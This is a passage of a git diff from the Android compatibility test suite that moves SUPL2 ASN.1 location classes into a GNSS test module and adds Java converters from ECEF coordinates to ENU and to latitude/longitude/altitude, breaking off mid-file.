diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonDescription.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonDescription.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRP_Range.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRP_Range.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTDUnits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTDUnits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RelativeTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RelativeTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RepMode_cap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RepMode_cap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportedLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportedLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportingCap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportingCap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKey.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKey.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCTID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCTID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdParty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdParty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBsID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBsID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMR.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMR.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java
new file mode 100644
index 0000000..3765cfc
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to local ENU (East, North,
+ * and Up).
+ *
+ * <p> Source: reference from Navipedia:
+ * http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+ */
+
+public class Ecef2EnuConverter {
+
+  /**
+   * Converts a vector represented by coordinates ecefX, ecefY, ecefZ in an
+   * Earth-Centered Earth-Fixed (ECEF) Cartesian system into a vector in a
+   * local east-north-up (ENU) Cartesian system.
+   *
+   * <p> For example it can be used to rotate a speed vector or position offset vector to ENU.
+   *
+   * @param ecefX X coordinates in ECEF
+   * @param ecefY Y coordinates in ECEF
+   * @param ecefZ Z coordinates in ECEF
+   * @param refLat Latitude in Radians of the Reference Position
+   * @param refLng Longitude in Radians of the Reference Position
+   * @return the converted values in {@code EnuValues}
+   */
+  public static EnuValues convertEcefToEnu(double ecefX, double ecefY, double ecefZ,
+      double refLat, double refLng){
+
+    RealMatrix rotationMatrix = getRotationMatrix(refLat, refLng);
+    RealMatrix ecefCoordinates = new Array2DRowRealMatrix(new double[]{ecefX, ecefY, ecefZ});
+
+    RealMatrix enuResult = rotationMatrix.multiply(ecefCoordinates);
+    return new EnuValues(enuResult.getEntry(0, 0),
+        enuResult.getEntry(1, 0), enuResult.getEntry(2 , 0));
+  }
+
+  /**
+   * Computes a rotation matrix for converting a vector in Earth-Centered Earth-Fixed (ECEF)
+   * Cartesian system into a vector in local east-north-up (ENU) Cartesian system with respect to
+   * a reference location. The matrix has the following content:
+   *
+   * - sinLng                     cosLng            0
+   * - sinLat * cosLng      - sinLat * sinLng      cosLat
+   *   cosLat * cosLng        cosLat * sinLng      sinLat
+   *
+   * <p> Reference: Pratap Misra and Per Enge
+   * "Global Positioning System: Signals, Measurements, and Performance" Page 137.
+   *
+   * @param refLat Latitude of reference location
+   * @param refLng Longitude of reference location
+   * @return the Ecef to Enu rotation matrix
+   */
+  public static RealMatrix getRotationMatrix(double refLat, double refLng){
+    RealMatrix rotationMatrix = new Array2DRowRealMatrix(3, 3);
+
+    // Fill in the rotation Matrix
+    rotationMatrix.setEntry(0, 0, -1 * Math.sin(refLng));
+    rotationMatrix.setEntry(1, 0, -1 * Math.cos(refLng) * Math.sin(refLat));
+    rotationMatrix.setEntry(2, 0, Math.cos(refLng) * Math.cos(refLat));
+    rotationMatrix.setEntry(0, 1, Math.cos(refLng));
+    rotationMatrix.setEntry(1, 1, -1 * Math.sin(refLat) * Math.sin(refLng));
+    rotationMatrix.setEntry(2, 1, Math.cos(refLat) * Math.sin(refLng));
+    rotationMatrix.setEntry(0, 2, 0);
+    rotationMatrix.setEntry(1, 2, Math.cos(refLat));
+    rotationMatrix.setEntry(2, 2, Math.sin(refLat));
+    return rotationMatrix;
+  }
+
+  /**
+   * A container for values in ENU (East, North, Up) coordination system.
+   */
+  public static class EnuValues {
+
+    /**
+     * East Coordinates in local ENU
+     */
+    public final double enuEast;
+
+    /**
+     * North Coordinates in local ENU
+     */
+    public final double enuNorth;
+
+    /**
+     * Up Coordinates in local ENU
+     */
+    public final double enuUP;
+
+    /**
+     * Constructor
+     */
+    public EnuValues(double enuEast, double enuNorth, double enuUP){
+      this.enuEast = enuEast;
+      this.enuNorth = enuNorth;
+      this.enuUP = enuUP;
+    }
+   }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java
new file mode 100644
index 0000000..f70106b
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude, longitude,
+ * and altitude).
+ *
+ * <p> Source: reference from Mathworks: https://microem.ru/files/2012/08/GPS.G1-X-00006.pdf
+ * and http://www.mathworks.com/help/aeroblks/ecefpositiontolla.html
+ */
+
+public class Ecef2LlaConverter {
+  // WGS84 Ellipsoid Parameters
+  private static final double EARTH_SEMI_MAJOR_AXIS_METERS = 6378137.0;
+  private static final double ECCENTRICITY = 8.1819190842622e-2;
+  private static final double INVERSE_FLATENNING = 298.257223563;
+  private static final double MIN_MAGNITUDE_METERS = 1.0e-22;
+  private static final double MAX_ITERATIONS = 15;
+  private static final double RESIDUAL_TOLERANCE = 1.0e-6;
+  private static final double SEMI_MINOR_AXIS_METERS =
+      Math.sqrt(Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) * (1 - Math.pow(ECCENTRICITY, 2)));
+  private static final double SECOND_ECCENTRICITY = Math.sqrt(
+      (Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) - Math.pow(SEMI_MINOR_AXIS_METERS, 2))
+      / Math.pow(SEMI_MINOR_AXIS_METERS, 2));
+  private static final double ECEF_NEAR_POLE_THRESHOLD_METERS = 1.0;
+
+  /**
+  * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+  * longitude, and altitude) using the close form approach
+  *
+  * <p>Inputs are cartesian coordinates x,y,z
+  *
+  * <p>Output is GeodeticLlaValues class containing geodetic latitude (radians), geodetic longitude
+  * (radians), height above WGS84 ellipsoid (m)}
+  */
+  public static GeodeticLlaValues convertECEFToLLACloseForm(double ecefXMeters, double ecefYMeters,
+      double ecefZMeters) {
+
+    // Auxiliary parameters
+    double pMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+    double thetaRadians =
+        Math.atan2(EARTH_SEMI_MAJOR_AXIS_METERS * ecefZMeters, SEMI_MINOR_AXIS_METERS * pMeters);
+
+    double lngRadians = Math.atan2(ecefYMeters, ecefXMeters);
+    // limit longitude to range of 0 to 2Pi
+    lngRadians = lngRadians % (2 * Math.PI);
+
+    final double sinTheta = Math.sin(thetaRadians);
+    final double cosTheta = Math.cos(thetaRadians);
+    final double tempY = ecefZMeters
+        + Math.pow(SECOND_ECCENTRICITY, 2) * SEMI_MINOR_AXIS_METERS * Math.pow(sinTheta, 3);
+    final double tempX = pMeters
+        - Math.pow(ECCENTRICITY, 2) * EARTH_SEMI_MAJOR_AXIS_METERS * (Math.pow(cosTheta, 3));
+    double latRadians = Math.atan2(tempY, tempX);
+    // Radius of curvature in the vertical prime
+    double curvatureRadius = EARTH_SEMI_MAJOR_AXIS_METERS
+        / Math.sqrt(1 - Math.pow(ECCENTRICITY, 2) * (Math.pow(Math.sin(latRadians), 2)));
+    double altMeters = (pMeters / Math.cos(latRadians)) - curvatureRadius;
+
+    // Correct for numerical instability in altitude near poles
+    boolean polesCheck = Math.abs(ecefXMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS
+        && Math.abs(ecefYMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS;
+    if (polesCheck) {
+      altMeters = Math.abs(ecefZMeters) - SEMI_MINOR_AXIS_METERS;
+    }
+
+    return  new GeodeticLlaValues(latRadians, lngRadians, altMeters);
+  }
+
+   /**
+   * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+   * longitude, and altitude) using iteration approach
+   *
+   * <p>Inputs are cartesian coordinates x,y,z.
+   *
+   * <p>Outputs is GeodeticLlaValues containing geodetic latitude (radians), geodetic longitude
+   * (radians), height above WGS84 ellipsoid (m)}
+   */
+  public static GeodeticLlaValues convertECEFToLLAByIterations(double ecefXMeters,
+      double ecefYMeters, double ecefZMeters) {
+
+    double xyLengthMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+    double xyzLengthMeters = Math.sqrt(Math.pow(xyLengthMeters, 2) + Math.pow(ecefZMeters, 2));
+
+    double lngRad;
+    if (xyLengthMeters > MIN_MAGNITUDE_METERS) {
+      lngRad = Math.atan2(ecefYMeters, ecefXMeters);
+    } else {
+      lngRad = 0;
+    }
+
+    double sinPhi;
+    if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+      sinPhi = ecefZMeters / xyzLengthMeters;
+    } else {
+      sinPhi = 0;
+    }
+    // initial latitude (iterate next to improve accuracy)
+    double latRad = Math.asin(sinPhi);
+    double altMeters;
+    if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+      double ni;
+      double pResidual;
+      double ecefZMetersResidual;
+      // initial height (iterate next to improve accuracy)
+      altMeters = xyzLengthMeters - EARTH_SEMI_MAJOR_AXIS_METERS
+          * (1 - sinPhi * sinPhi / INVERSE_FLATENNING);
+
+      for (int i = 1; i <= MAX_ITERATIONS; i++) {
+        sinPhi = Math.sin(latRad);
+
+        // calculate radius of curvature in prime vertical direction
+        ni = EARTH_SEMI_MAJOR_AXIS_METERS / Math.sqrt(1 - (2 - 1 / INVERSE_FLATENNING)
+            / INVERSE_FLATENNING * Math.sin(latRad) * Math.sin(latRad));
+
+        // calculate residuals in p and ecefZMeters
+        pResidual = xyLengthMeters - (ni + altMeters) * Math.cos(latRad);
+        ecefZMetersResidual = ecefZMeters
+            - (ni * (1 - (2 - 1 / INVERSE_FLATENNING) / INVERSE_FLATENNING) + altMeters)
+            * Math.sin(latRad);
+
+        // update height and latitude
+        altMeters += Math.sin(latRad) * ecefZMetersResidual + Math.cos(latRad) * pResidual;
+        latRad += (Math.cos(latRad) * ecefZMetersResidual - Math.sin(latRad) * pResidual)
+            / (ni + altMeters);
+
+        if (Math.sqrt((pResidual * pResidual + ecefZMetersResidual * ecefZMetersResidual))
+            < RESIDUAL_TOLERANCE) {
+          break;
+        }
+
+        if (i == MAX_ITERATIONS) {
+          System.err.println(
+              "Geodetic coordinate calculation did not converge in " + i + " iterations");
+        }
+      }
+    } else {
+      altMeters = 0;
+    }
+    return new GeodeticLlaValues(latRad, lngRad, altMeters);
+  }
+
+  /**
+   *
+   * Class containing geodetic coordinates: latitude in radians, geodetic longitude in radians
+   *  and altitude in meters
+   */
+  public static class GeodeticLlaValues {
+
+    public final double latitudeRadians;
+    public final double longitudeRadians;
+    public final double altitudeMeters;
+
+    public GeodeticLlaValues(double latitudeRadians,
+        double longitudeRadians, double altitudeMeters) {
